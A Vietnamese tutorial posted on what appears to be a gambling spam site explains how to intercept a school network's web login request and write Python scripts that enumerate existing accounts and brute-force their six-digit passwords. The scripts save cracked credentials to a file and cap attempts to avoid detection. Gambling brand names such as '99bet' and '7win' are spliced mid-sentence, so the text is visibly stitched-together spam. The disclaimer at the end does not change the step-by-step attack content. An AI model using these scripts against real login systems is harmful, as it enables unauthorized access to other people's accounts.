Featured image of post Câu trả lời là không - sanvip.club

Câu trả lời là không - sanvip.club

Trang web uy tín và đáng tin cậy Mô tả Khám phá sanvip.club để trải nghiệm những dịch vụ tuyệt vời và hấp dẫn nhất trên internet.

Chúng ta đều biết rằng khi muốn lấy được mật khẩu của một tài khoản nào đó, có rất nhiều cách khác nhau để thực hiện. Một trong những phương pháp phổ biến nhất là sử dụng kỹ thuật dò mật khẩu (brute force). Tuy nhiên, hiện nay các trang web thường áp dụng các biện pháp như mã xác minh CAPTCHA để ngăn chặn việc gửi yêu cầu quá nhiều lần và từ đó hạn chế khả năng bị tấn công.

Liệu điều này có đồng nghĩa với việc chúng ta không thể thực hiện dò mật khẩu nữa hay không? Câu trả lời là không. Vì vẫn còn nhiều website sử dụng phương thức xác thực phía client (frontend) nhằm ngăn cản người dùng truy cập trái phép. Tuy nhiên, chỉ cần phân tích dữ liệu gói tin hoặc reverse lại đoạn mã JavaScript, bạn hoàn toàn có thể vượt qua rào chắn này. Trong bài viết này, tôi sẽ hướng dẫn chi tiết cách vượt qua xác thực phía client thông qua việc bắt gói tin và viết script Python để dò mật khẩu trên hệ thống mạng trường học.

Bước 1: Phân tích gói tin đăng nhập web

Đầu tiên, hãy thử nhập một tài khoản và mật khẩu không tồn tại, sau đó lặp lại vài lần. Bạn sẽ nhận thấy rằng trang web đã kích hoạt bảo vệ bằng CAPTCHA để ngăn chặn việc dò mật khẩu. Lúc này, việc tự động hóa giao diện web sẽ không còn hiệu quả cao (dù vẫn có thể làm nhưng phức tạp và tốn kém thời gian), vì vậy ta nên tiến hành phân tích gói tin.

Sử dụng F12 hoặc các công cụ bắt gói tin như Burp Suite, Wireshark… để bắt và xem xét dữ liệu được gửi đi từ trình duyệt. Sau đó tìm kiếm thông tin tài khoản và mật khẩu trong gói tin. Bạn sẽ phát hiện ra một API có cấu trúc như sau (để đảm bảo an toàn, tôi đã che giấu địa chỉ đầy đủ):

**********************************?method=login

API này nhận yêu cầu POST và chứa tài khoản cũng như mật khẩu mà người dùng đã nhập. Dữ liệu gửi lên có dạng:

{ ‘userId’: userId, ‘password’: 0, ‘service’: service, // Biểu tượng nhà cung cấp dịch vụ ‘operatorPwd’: ‘’, ‘operatorUserId’: ‘’, ‘validcode’: ‘’, ‘passwordEncrypt’: ‘false’, ‘queryString’: ‘Tôi đã xóa phần này, đây là thông tin liên quan đến thiết lập WLAN của máy tính cục bộ, có thể giúp server xác định máy gửi yêu cầu hợp lệ’ }

Qua phân tích, bạn có thể thấy rằng mặc dù hệ thống cố gắng mã hóa tài khoản/mật khẩu trước khi truyền lên server, nhưng cuối cùng nó vẫn được gửi dưới dạng văn bản thuần túy — điều này rất thuận lợi cho chúng ta, vì không cần phải mất công tìm hiểu thuật toán mã hóa JavaScript rồi tái tạo lại trong Python.

Khi bước này hoàn tất, chúng ta đã sẵn sàng để xây dựng script Python để thực hiện việc dò mật khẩu.

Bước 2: Phân tích dữ liệu phản hồi

Mỗi lần gửi yêu cầu đều có dữ liệu phản hồi JSON được trả về, do đó việc phân tích nội dung phản hồi là rất quan trọng để quyết định tiếp theo của script.

Dưới đây là một số ví dụ về dữ liệu phản hồi:

{ “result”: “some_result_data”, “message”: “some_message_data” }

Trong đó, hai tham số resultmessage đóng vai trò chính trong việc xác định trạng thái kết nối. Một số tình huống có thể xảy ra:

  • "result": "success" → Tài khoản và mật khẩu đúng.
  • "result": "false" hoặc "message": "Xác thực thất bại" → Máy tính đã kết nối mạng, cần ngắt kết nối trước khi dò.
  • "message": "Bạn chưa đăng ký dịch vụ nhà cung cấp!" hoặc "message": "Tài khoản không được phép sử dụng dịch vụ này!" → Tài khoản tồn tại nhưng chưa được đăng ký vào nhà cung cấp.
  • "message": "Tài khoản không tồn tại hoặc sai mật khẩu!" → Tài khoản tồn tại, nhà cung cấp cũng đúng.
  • "message": "Tài khoản không tồn tại, vui lòng nhập tên người dùng đúng!" → Tài khoản không tồn tại.
  • "message": "Tài khoản không được phép sử dụng dịch vụ này!" → Tài khoản tồn tại nhưng không phù hợp với dịch vụ đang chọn.

Nhờ vào phân tích này, chúng ta có thể bắt đầu viết code Python để xử lý logic dò mật khẩu một cách hiệu quả.

Bước 3: Viết script Python

Cốt lõi của phương pháp dò mật khẩu là thử từng mật khẩu có thể có. Nếu biết trước tài khoản tồn tại, ta có thể tập trung dò mật khẩu cho tài khoản đó, tiết kiệm thời gian đáng kể.

Ví dụ về Đăng Ký 99bet đoạn code kiểm tra tài khoản có tồn tại hay không:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def kiem_tra_tai_khoan():
    print("\n================================== Kiểm tra sự tồn tại tài khoản =====================================")
    danh_sach_dich_vu = {"%E8%81%94%E9%80%9A", "%E7%A7%BB%E5%8A%A8", "%E7%94%B5%E4%BF%A1", "*****-WiFi"}
    gia_tri_bat_dau = int(input("Giá trị bắt đầu tài khoản: "))
    gia_tri_ket_thuc = int(input("Giá trị kết thúc tài khoản: "))
    khoang_cach = gia_tri_ket_thuc - gia_tri_bat_dau
    tai_khoan_hien_tai = gia_tri_bat_dau

    if gia_tri_bat_dau > gia_tri_ket_thuc:
        print("Giá trị không hợp lệ")
        kiem_tra_tai_khoan()
    else:
        if khoang_cach <= 5000: # Ngưỡng giới hạn
            lan_lap = 1
            while tai_khoan_hien_tai <= gia_tri_ket_thuc:
                print("Đã chạy", lan_lap)
                tai_khoan_hien_tai += 1
                lan_lap += 1
                for dich_vu in danh_sach_dich_vu:
                    tham_so = {
                        'userId': tai_khoan_hien_tai,
                        'password': 0,
                        'service': dich_vu,
                        'operatorPwd': '',
                        'operatorUserId': '',
                        'validcode': '',
                        'passwordEncrypt': 'false',
                        'queryString': ''
                    }
                    ket_qua = requests.post(url=url, params=tham_so)
                    ket_qua.encoding = "UTF-8"
                    du_lieu = ket_qua.json()
                    thong_bao = du_lieu["message"]
                    ket_qua_phan_loai = du_lieu["result"]
                    print(thong_bao)
                    # Phần code xử lý tiếp tục ở đây

Thông qua quy trình này, bạn có thể xây dựng một bảng thông tin cơ bản về tài khoản. Với bảng này, bạn có thể chọn mục tiêu cụ thể để dò mật khẩu.

Phần code dò mật khẩu cũng tương đối đơn giản, bạn có thể sử dụng từ điển hoặc dò trong một khoảng mật khẩu nhất định. Ví dụ như sau:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Hàm dò mật khẩu vòng lặp
def vong_lap(tai_khoan, mat_khau_bat_dau, mat_khau_ket_thuc, so_lan_lap, dich_vu):
    lan_lap = 0
    mat_khau_hien_tai = mat_khau_bat_dau
    if lan_lap <= 50002: # Giới hạn tối đa
        while lan_lap <= so_lan_lap:
            lan_lap += 1
            mat_khau_hien_tai = str(mat_khau_hien_tai).zfill(6)
            yeu_cau_mang(tai_khoan=tai_khoan, mat_khau=mat_khau_hien_tai, dich_vu=dich_vu, thanh_cong="Không nằm trong danh sách")
            print("Đã lặp", lan_lap, "lần")
            print("Giá trị thử:", mat_khau_hien_tai)
            mat_khau_hien_tai = int(mat_khau_hien_tai) + 1
        input("Không tìm thấy mật khẩu, nhấn phím bất kỳ để thoát")
        exit(0)
    else:
        print("Đạt giới hạn tối đa, chương trình tự động dừng để tránh gây chú ý")

Tiếp theo, bạn có thể xử lý phản hồi từ server như sau:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
ket_qua = requests.post(url=url, params=tham_so)
ket_qua.encoding = "UTF-8"
du_lieu_json = ket_qua.json()
trang_thai = du_lieu_json['result']
thong_bao = du_lieu_json['message']
print("Dữ liệu JSON trả về:", du_lieu_json)

if trang_thai == 'success':
    luu_mat_khau(tai_khoan, mat_khau)
    print("Tài khoản:", tai_khoan, "Mật khẩu:", mat_khau)
    input("Lưu mật khẩu thành công")
    exit(0)
elif thong_bao == 'Xác thực thất bại':
    print("Vui lòng kết nối mạng và ngắt xác thực")
    exit(0)

Để lưu trữ tài khoản và mật khẩu đã tìm được, bạn có thể thêm đoạn code sau:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Lưu mật khẩu vào file
def luu_mat_khau(tai_khoan, mat_khau):
    thong_tin = {
        'userId': tai_khoan,
        'password': mat_khau
    }
    file = open('mat_khau_truong.txt', encoding='utf-8', mode='a+')
    file.write(str(thong_tin) + '\n')
    print('Thêm thành công')
    file.close()
    loai_bo_trung_lap(text_name="mat_khau_truong.txt")

Lưu Sumvip Club Game Bài 2024 ý

Bài viết này nhằm mục đích chia sẻ kiến thức kỹ thuật, không khuyến khích hay ủng hộ bất kỳ hành vi vi phạm pháp luật nào. Mọi hình thức dò mật khẩu web mà không có sự cho phép rõ ràng đều là hành vi phạm tội. Hãy luôn tuân thủ pháp luật và 7win đạo đức nghề nghiệp.

Built with Hugo
Theme Stack thiết kế bởi Jimmy